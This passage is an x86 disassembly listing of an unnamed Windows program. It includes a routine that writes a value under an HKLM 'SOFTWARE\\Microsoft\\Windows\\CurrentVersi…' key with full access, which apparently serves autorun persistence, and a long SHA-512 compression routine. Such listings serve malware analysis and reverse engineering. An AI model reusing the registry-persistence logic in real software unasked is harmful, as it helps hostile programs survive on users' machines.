		push	80000002h
		mov	[ebp+var_C], 1
		call	ds:off_41E028
		test	eax, eax
		jnz	short loc_405214
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_8]
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	ds:off_41E004
		test	eax, eax
		jnz	short loc_405214
		push	[ebp+var_4]
		call	ds:off_41E00C
		mov	al, 1
		leave
		retn
; ---------------------------------------------------------------------------

loc_405214:				; CODE XREF: sub_4051BC+2Cj
					; sub_4051BC+49j
		push	[ebp+var_4]
		call	ds:off_41E00C
		push	[ebp+var_8]
		push	0
		push	[ebp+arg_8]
		call	sub_40C6F0
		add	esp, 0Ch
		xor	al, al
		leave
		retn
sub_4051BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405231	proc near		; CODE XREF: sub_404E7F+124p
					; sub_404FE1+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		xor	ebx, ebx
		push	ebx
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	0F003Fh
		push	ebx
		push	ebx
		push	ebx
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	ds:off_41E000
		test	eax, eax
		jz	short loc_405268
		push	[ebp+var_4]
		call	ds:off_41E00C
		xor	al, al

loc_405265:				; CODE XREF: sub_405231+62j
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_405268:				; CODE XREF: sub_405231+27j
		push	[ebp+arg_4]
		call	sub_40C500
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	1
		push	ebx
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	ds:off_41E008
		test	eax, eax
		jz	short loc_405295

loc_405288:				; CODE XREF: sub_405231+66j
		push	[ebp+var_4]
		call	ds:off_41E00C
		mov	al, bl
		jmp	short loc_405265
; ---------------------------------------------------------------------------

loc_405295:				; CODE XREF: sub_405231+55j
		mov	bl, 1
		jmp	short loc_405288
sub_405231	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405299	proc near		; CODE XREF: sub_405299+D5p
					; .text:004098F7p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_4052B2
		mov	ecx, [ebp+arg_4]
		shr	ecx, 18h
		or	cl, 1
		jmp	short loc_4052B8
; ---------------------------------------------------------------------------

loc_4052B2:				; CODE XREF: sub_405299+Cj
		mov	cl, byte ptr [ebp+arg_4+3]
		and	cl, 0FEh

loc_4052B8:				; CODE XREF: sub_405299+17j
		movzx	eax, word ptr [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_4052D5
		lea	edx, [ebx+18h]
		mov	[ebp+arg_14], ebx
		or	cl, 2
		mov	[ebp+arg_2B], 0
		jmp	short loc_4052E6
; ---------------------------------------------------------------------------

loc_4052D5:				; CODE XREF: sub_405299+2Bj
		mov	dx, word ptr [ebp+arg_24]
		add	eax, 0FFFFFFE8h
		mov	[ebp+arg_14], eax
		and	cl, 0FDh
		mov	[ebp+arg_2B], 1

loc_4052E6:				; CODE XREF: sub_405299+3Aj
		movzx	eax, dx
		push	eax
		mov	byte ptr [ebp+arg_4+3],	cl
		mov	[ebp+arg_C], dx
		mov	[ebp+var_4], eax
		call	sub_40D437
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_405385
		push	6
		pop	ecx
		mov	edi, eax
		lea	esi, [ebp+arg_4]
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_40D820
		add	esp, 0Ch
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	ds:off_41E078
		test	eax, eax
		jz	short loc_40537C
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40537C
		push	[ebp+arg_20]
		call	sub_40D35A
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_405378
		push	0
		push	[ebp+arg_24]
		sub	ebx, edi
		push	ebx
		add	edi, esi
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		lea	esi, [ebp+arg_4]
		rep movsd
		call	sub_405299
		add	esp, 2Ch
		jmp	short loc_405387
; ---------------------------------------------------------------------------

loc_405378:				; CODE XREF: sub_405299+B8j
		mov	al, 1
		jmp	short loc_405387
; ---------------------------------------------------------------------------

loc_40537C:				; CODE XREF: sub_405299+A1j
					; sub_405299+A9j
		push	[ebp+arg_20]
		call	sub_40D35A
		pop	ecx

loc_405385:				; CODE XREF: sub_405299+66j
		xor	al, al

loc_405387:				; CODE XREF: sub_405299+DDj
					; sub_405299+E1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405299	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_405390	proc near		; CODE XREF: sub_407AA0+C3p
					; sub_407BA0+BEp ...

var_160		= dword	ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h
var_F4		= dword	ptr -0F4h
var_F0		= dword	ptr -0F0h
var_EC		= dword	ptr -0ECh
var_E8		= dword	ptr -0E8h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D4		= dword	ptr -0D4h
var_D0		= dword	ptr -0D0h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 160h
		mov	eax, [esp+160h+arg_0]
		mov	edx, [eax+54h]
		push	ebx
		mov	[esp+164h+var_FC], edx
		mov	edx, [eax+5Ch]
		push	ebp
		push	esi
		mov	[esp+16Ch+var_10C], edx
		mov	edx, [eax+64h]
		push	edi
		lea	esi, [eax+10h]
		mov	[esp+170h+var_4], esi
		mov	ecx, 10h
		lea	edi, [esp+170h+var_158]
		rep movsd
		mov	ecx, [eax+50h]
		mov	[esp+170h+var_100], ecx
		mov	ecx, [eax+58h]
		mov	[esp+170h+var_110], ecx
		mov	ecx, [eax+60h]
		mov	[esp+170h+var_108], ecx
		mov	ecx, [eax+68h]
		mov	[esp+170h+var_104], edx
		mov	edx, [eax+6Ch]
		mov	[esp+170h+var_B8], ecx
		mov	ecx, [eax+70h]
		mov	[esp+170h+var_B4], edx
		mov	edx, [eax+74h]
		mov	[esp+170h+var_A8], ecx
		mov	ecx, [eax+78h]
		mov	[esp+170h+var_A4], edx
		mov	edx, [eax+7Ch]
		mov	[esp+170h+var_D0], ecx
		mov	ecx, [eax+80h]
		mov	[esp+170h+var_CC], edx
		mov	edx, [eax+84h]
		mov	esi, [eax+0C4h]
		mov	[esp+170h+var_D8], ecx
		mov	ecx, [eax+88h]
		mov	[esp+170h+var_D4], edx
		mov	edx, [eax+8Ch]
		mov	[esp+170h+var_118], ecx
		mov	ecx, [eax+90h]
		mov	[esp+170h+var_114], edx
		mov	edx, [eax+94h]
		mov	[esp+170h+var_C8], ecx
		mov	ecx, [eax+98h]
		mov	[esp+170h+var_C4], edx
		mov	edx, [eax+9Ch]
		mov	[esp+170h+var_F0], ecx
		mov	ecx, [eax+0A0h]
		mov	[esp+170h+var_EC], edx
		mov	edx, [eax+0A4h]
		mov	[esp+170h+var_E8], ecx
		mov	ecx, [eax+0A8h]
		mov	[esp+170h+var_E4], edx
		mov	edx, [eax+0ACh]
		mov	[esp+170h+var_F8], ecx
		mov	ecx, [eax+0B0h]
		mov	[esp+170h+var_F4], edx
		mov	edx, [eax+0B4h]
		mov	[esp+170h+var_B0], ecx
		mov	ecx, [eax+0B8h]
		mov	[esp+170h+var_AC], edx
		mov	edx, [eax+0BCh]
		mov	[esp+170h+var_C0], ecx
		mov	ecx, [eax+0C0h]
		mov	[esp+170h+var_BC], edx
		mov	edx, [eax+0C8h]
		mov	eax, [eax+0CCh]
		xor	edi, edi
		mov	[esp+170h+var_15C], edi
		mov	[esp+170h+var_A0], ecx
		mov	[esp+170h+var_9C], esi
		mov	[esp+170h+var_E0], edx
		mov	[esp+170h+var_DC], eax
		jmp	short loc_40552E
; ---------------------------------------------------------------------------
		align 10h

loc_405520:				; CODE XREF: sub_405390+2680j
		mov	ecx, [esp+170h+var_A0]
		mov	esi, [esp+170h+var_9C]

loc_40552E:				; CODE XREF: sub_405390+18Aj
		test	edi, edi
		mov	eax, [esp+170h+var_138]
		mov	edx, [esp+170h+var_134]
		jz	loc_405618
		mov	edi, ecx
		xor	eax, eax
		mov	ebx, esi
		shrd	edi, ebx, 13h
		or	eax, edi
		mov	ebp, ecx
		mov	edx, ecx
		mov	edi, esi
		shld	esi, ebp, 3
		shr	ebx, 13h
		shl	edx, 0Dh
		or	edx, ebx
		add	ebp, ebp
		xor	ebx, ebx
		or	ebx, esi
		mov	esi, [esp+170h+var_9C]
		shrd	ecx, esi, 6
		add	ebp, ebp
		add	ebp, ebp
		shr	edi, 1Dh
		or	edi, ebp
		xor	eax, edi
		xor	eax, ecx
		mov	ecx, [esp+170h+var_10C]
		xor	edx, ebx
		mov	[esp+170h+var_160], eax
		mov	eax, [esp+170h+var_110]
		mov	ebp, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 8
		shr	esi, 6
		xor	edx, esi
		xor	edi, edi
		or	edi, ebx
		mov	esi, eax
		mov	ebx, eax
		shrd	eax, ecx, 1
		shl	esi, 18h
		shr	ebp, 8
		or	esi, ebp
		shr	ecx, 1
		xor	ebp, ebp
		or	ebp, eax
		mov	eax, [esp+170h+var_10C]
		shl	ebx, 1Fh
		or	ebx, ecx
		mov	ecx, [esp+170h+var_110]
		shrd	ecx, eax, 7
		shr	eax, 7
		xor	edi, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+arg_0]
		xor	edi, ecx
		mov	ecx, [esp+170h+var_160]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_100]
		adc	edx, [esp+170h+var_FC]
		add	ecx, [esp+170h+var_F0]
		adc	edx, [esp+170h+var_EC]
		mov	[eax+50h], ecx
		mov	[eax+54h], edx
		mov	eax, edx
		mov	edx, [esp+170h+var_134]
		mov	[esp+170h+var_FC], eax
		mov	[esp+170h+var_54], eax
		mov	eax, [esp+170h+var_138]
		mov	[esp+170h+var_100], ecx
		mov	[esp+170h+var_58], ecx
		jmp	short loc_40562E
; ---------------------------------------------------------------------------

loc_405618:				; CODE XREF: sub_405390+1A8j
		mov	ecx, [esp+170h+var_100]
		mov	[esp+170h+var_58], ecx
		mov	ecx, [esp+170h+var_FC]
		mov	[esp+170h+var_54], ecx

loc_40562E:				; CODE XREF: sub_405390+286j
		mov	ebx, edx
		mov	esi, edx
		xor	edi, edi
		mov	ecx, eax
		shld	ebx, ecx, 17h
		or	edi, ebx
		shl	ecx, 17h
		xor	ebx, ebx
		shr	esi, 9
		or	esi, ecx
		mov	ebp, eax
		shrd	ebp, edx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_134]
		xor	esi, ebx
		shr	edx, 12h
		mov	ecx, eax
		shl	ecx, 0Eh
		or	ecx, edx
		xor	edi, ecx
		xor	ecx, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		or	ecx, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_134]
		shr	ebp, 0Eh
		mov	edx, eax
		shl	edx, 12h
		or	edx, ebp
		mov	ebp, [esp+170h+var_130]
		xor	edi, edx
		and	ebp, eax
		mov	edx, eax
		mov	eax, [esp+170h+var_12C]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_11C]
		not	edx
		and	edx, [esp+170h+var_128]
		not	ebx
		and	ebx, [esp+170h+var_124]
		xor	edx, ebp
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		add	esi, edx
		adc	edi, ebx
		add	esi, ds:dword_420640[eax*8]
		adc	edi, ds:dword_420644[eax*8]
		add	esi, [esp+170h+var_58]
		mov	eax, [esp+170h+var_120]
		adc	edi, [esp+170h+var_54]
		add	eax, esi
		adc	ecx, edi
		add	[esp+170h+var_140], eax
		mov	[esp+170h+var_11C], ecx
		mov	[esp+170h+var_120], eax
		adc	[esp+170h+var_13C], ecx
		mov	eax, [esp+170h+var_154]
		mov	ecx, [esp+170h+var_158]
		mov	edx, ecx
		mov	esi, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		xor	edi, edi
		or	edi, edx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shl	ecx, 1Eh
		shr	edx, 2
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		mov	ecx, eax
		xor	edi, edx
		xor	esi, ebx
		shr	ecx, 7
		mov	ebx, [esp+170h+var_158]
		mov	ebp, eax
		shld	ebp, ebx, 19h
		shl	ebx, 19h
		or	ecx, ebx
		xor	edx, edx
		or	edx, ebp
		mov	ebp, [esp+170h+var_14C]
		xor	edi, ecx
		mov	ecx, [esp+170h+var_150]
		xor	esi, edx
		mov	edx, [esp+170h+var_158]
		mov	ebx, ecx
		xor	ebx, edx
		and	ebx, [esp+170h+var_148]
		and	ecx, edx
		mov	edx, [esp+170h+var_14C]
		xor	ebp, eax
		and	ebp, [esp+170h+var_144]
		and	edx, eax
		xor	ebx, ecx
		xor	ebp, edx
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_120], edi
		adc	[esp+170h+var_11C], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_405844
		mov	eax, [esp+170h+var_E0]
		mov	ecx, [esp+170h+var_DC]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 13h
		xor	esi, esi
		or	esi, edi
		mov	edi, ecx
		shr	ebx, 13h
		mov	edx, eax
		mov	ebp, eax
		shld	ecx, ebp, 3
		shl	edx, 0Dh
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_DC]
		shrd	eax, ecx, 6
		add	ebp, ebp
		add	ebp, ebp
		add	ebp, ebp
		shr	edi, 1Dh
		or	edi, ebp
		xor	esi, edi
		xor	esi, eax
		mov	eax, [esp+170h+var_108]
		xor	edx, ebx
		shr	ecx, 6
		xor	edx, ecx
		mov	ecx, [esp+170h+var_104]
		mov	ebp, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 8
		xor	edi, edi
		or	edi, ebx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		mov	ebx, eax
		shrd	eax, ecx, 1
		shl	esi, 18h
		shr	ebp, 8
		or	esi, ebp
		shr	ecx, 1
		xor	ebp, ebp
		or	ebp, eax
		mov	eax, [esp+170h+var_108]
		shl	ebx, 1Fh
		or	ebx, ecx
		mov	ecx, [esp+170h+var_104]
		shrd	eax, ecx, 7
		shr	ecx, 7
		xor	esi, ebx
		xor	edi, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_E8]
		adc	edx, [esp+170h+var_E4]
		add	ecx, [esp+170h+var_110]
		adc	edx, [esp+170h+var_10C]
		mov	[eax+58h], ecx
		mov	[eax+5Ch], edx
		mov	eax, edx
		mov	[esp+170h+var_110], ecx
		mov	[esp+170h+var_10C], eax
		mov	[esp+170h+var_28], ecx
		jmp	short loc_405853
; ---------------------------------------------------------------------------

loc_405844:				; CODE XREF: sub_405390+3D5j
		mov	edx, [esp+170h+var_110]
		mov	eax, [esp+170h+var_10C]
		mov	[esp+170h+var_28], edx

loc_405853:				; CODE XREF: sub_405390+4B2j
		mov	ecx, [esp+170h+var_13C]
		mov	ebx, ecx
		mov	[esp+170h+var_24], eax
		mov	eax, [esp+170h+var_140]
		mov	edx, ecx
		xor	esi, esi
		shr	edx, 9
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		or	edx, edi
		xor	ebx, ebx
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_13C]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		xor	edi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_13C]
		mov	ebx, ecx
		and	ecx, [esp+170h+var_134]
		mov	edi, eax
		and	eax, [esp+170h+var_138]
		not	ebx
		and	ebx, [esp+170h+var_12C]
		not	edi
		and	edi, [esp+170h+var_130]
		xor	ebx, ecx
		mov	ecx, [esp+170h+var_124]
		xor	edi, eax
		mov	eax, [esp+170h+var_15C]
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420648[eax*8]
		adc	esi, ds:dword_42064C[eax*8]
		add	edx, [esp+170h+var_28]
		mov	eax, [esp+170h+var_128]
		adc	esi, [esp+170h+var_24]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_148], eax
		mov	[esp+170h+var_124], ecx
		mov	[esp+170h+var_128], eax
		adc	[esp+170h+var_144], ecx
		mov	eax, [esp+170h+var_11C]
		mov	ecx, [esp+170h+var_120]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		xor	edi, edi
		or	edi, edx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shl	ecx, 1Eh
		shr	edx, 2
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ecx, eax
		mov	ebx, [esp+170h+var_120]
		xor	edx, edx
		mov	ebp, eax
		shld	ebp, ebx, 19h
		or	edx, ebp
		mov	ebp, [esp+170h+var_154]
		shl	ebx, 19h
		shr	ecx, 7
		or	ecx, ebx
		xor	esi, edx
		mov	edx, [esp+170h+var_158]
		xor	edi, ecx
		mov	ecx, [esp+170h+var_120]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_150]
		and	edx, ecx
		mov	ecx, [esp+170h+var_154]
		xor	ebp, eax
		and	ebp, [esp+170h+var_14C]
		and	ecx, eax
		xor	ebx, edx
		xor	ebp, ecx
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_128], edi
		adc	[esp+170h+var_124], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_405A6E
		mov	eax, [esp+170h+var_B8]
		mov	ecx, [esp+170h+var_B4]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 8
		mov	ebp, eax
		shrd	ebp, ecx, 1
		xor	esi, esi
		or	esi, edi
		shr	ecx, 1
		mov	edi, eax
		mov	edx, eax
		shr	ebx, 8
		shl	edi, 1Fh
		or	edi, ecx
		mov	ecx, [esp+170h+var_B4]
		shrd	eax, ecx, 7
		shl	edx, 18h
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+var_100]
		xor	edx, edi
		shr	ecx, 7
		xor	edx, ecx
		mov	ecx, [esp+170h+var_FC]
		mov	ebx, eax
		mov	ebp, ecx
		shrd	ebx, ebp, 13h
		xor	edi, edi
		or	edi, ebx
		mov	ebx, ecx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		shld	ecx, eax, 3
		add	eax, eax
		add	eax, eax
		shl	esi, 0Dh
		shr	ebp, 13h
		or	esi, ebp
		add	eax, eax
		shr	ebx, 1Dh
		or	ebx, eax
		mov	eax, [esp+170h+var_100]
		xor	ebp, ebp
		or	ebp, ecx
		mov	ecx, [esp+170h+var_FC]
		shrd	eax, ecx, 6
		shr	ecx, 6
		xor	esi, ebp
		xor	edi, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_F8]
		adc	edx, [esp+170h+var_F4]
		add	ecx, [esp+170h+var_108]
		adc	edx, [esp+170h+var_104]
		mov	[eax+60h], ecx
		mov	[eax+64h], edx
		mov	eax, edx
		mov	[esp+170h+var_108], ecx
		mov	[esp+170h+var_104], eax
		mov	[esp+170h+var_70], ecx
		jmp	short loc_405A7D
; ---------------------------------------------------------------------------

loc_405A6E:				; CODE XREF: sub_405390+605j
		mov	edx, [esp+170h+var_108]
		mov	eax, [esp+170h+var_104]
		mov	[esp+170h+var_70], edx

loc_405A7D:				; CODE XREF: sub_405390+6DCj
		mov	ecx, [esp+170h+var_144]
		mov	ebx, ecx
		mov	[esp+170h+var_6C], eax
		mov	eax, [esp+170h+var_148]
		mov	edx, ecx
		xor	esi, esi
		shr	edx, 9
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		or	edx, edi
		xor	ebx, ebx
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_144]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		xor	edi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_144]
		mov	ebx, ecx
		and	ecx, [esp+170h+var_13C]
		mov	edi, eax
		and	eax, [esp+170h+var_140]
		not	ebx
		and	ebx, [esp+170h+var_134]
		not	edi
		and	edi, [esp+170h+var_138]
		xor	ebx, ecx
		mov	ecx, [esp+170h+var_12C]
		xor	edi, eax
		mov	eax, [esp+170h+var_15C]
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420650[eax*8]
		adc	esi, ds:dword_420654[eax*8]
		add	edx, [esp+170h+var_70]
		mov	eax, [esp+170h+var_130]
		adc	esi, [esp+170h+var_6C]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_150], eax
		mov	[esp+170h+var_12C], ecx
		mov	[esp+170h+var_130], eax
		adc	[esp+170h+var_14C], ecx
		mov	eax, [esp+170h+var_124]
		mov	ecx, [esp+170h+var_128]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		xor	edi, edi
		or	edi, edx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shl	ecx, 1Eh
		shr	edx, 2
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ecx, eax
		mov	ebx, [esp+170h+var_128]
		xor	edx, edx
		mov	ebp, eax
		shld	ebp, ebx, 19h
		or	edx, ebp
		mov	ebp, [esp+170h+var_11C]
		shl	ebx, 19h
		shr	ecx, 7
		or	ecx, ebx
		xor	esi, edx
		mov	edx, [esp+170h+var_120]
		xor	edi, ecx
		mov	ecx, [esp+170h+var_128]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_158]
		and	edx, ecx
		mov	ecx, [esp+170h+var_11C]
		xor	ebp, eax
		and	ebp, [esp+170h+var_154]
		and	ecx, eax
		xor	ebx, edx
		xor	ebp, ecx
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_130], edi
		adc	[esp+170h+var_12C], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_405CAA
		mov	eax, [esp+170h+var_A8]
		mov	ecx, [esp+170h+var_A4]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 8
		mov	ebp, eax
		shrd	ebp, ecx, 1
		xor	esi, esi
		or	esi, edi
		shr	ecx, 1
		mov	edi, eax
		mov	edx, eax
		shr	ebx, 8
		shl	edi, 1Fh
		or	edi, ecx
		mov	ecx, [esp+170h+var_A4]
		shrd	eax, ecx, 7
		shl	edx, 18h
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+var_110]
		xor	edx, edi
		shr	ecx, 7
		xor	edx, ecx
		mov	ecx, [esp+170h+var_10C]
		mov	ebx, eax
		mov	ebp, ecx
		shrd	ebx, ebp, 13h
		xor	edi, edi
		or	edi, ebx
		mov	ebx, ecx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		shld	ecx, eax, 3
		add	eax, eax
		add	eax, eax
		shl	esi, 0Dh
		shr	ebp, 13h
		or	esi, ebp
		add	eax, eax
		shr	ebx, 1Dh
		or	ebx, eax
		mov	eax, [esp+170h+var_110]
		xor	ebp, ebp
		or	ebp, ecx
		mov	ecx, [esp+170h+var_10C]
		shrd	eax, ecx, 6
		shr	ecx, 6
		xor	esi, ebp
		xor	edi, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_B0]
		adc	edx, [esp+170h+var_AC]
		add	ecx, [esp+170h+var_B8]
		adc	edx, [esp+170h+var_B4]
		mov	[eax+68h], ecx
		mov	[eax+6Ch], edx
		mov	eax, edx
		mov	[esp+170h+var_B8], ecx
		mov	[esp+170h+var_B4], eax
		mov	[esp+170h+var_38], ecx
		jmp	short loc_405CBF
; ---------------------------------------------------------------------------

loc_405CAA:				; CODE XREF: sub_405390+82Fj
		mov	edx, [esp+170h+var_B8]
		mov	eax, [esp+170h+var_B4]
		mov	[esp+170h+var_38], edx

loc_405CBF:				; CODE XREF: sub_405390+918j
		mov	ecx, [esp+170h+var_14C]
		mov	ebx, ecx
		mov	[esp+170h+var_34], eax
		mov	eax, [esp+170h+var_150]
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_14C]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
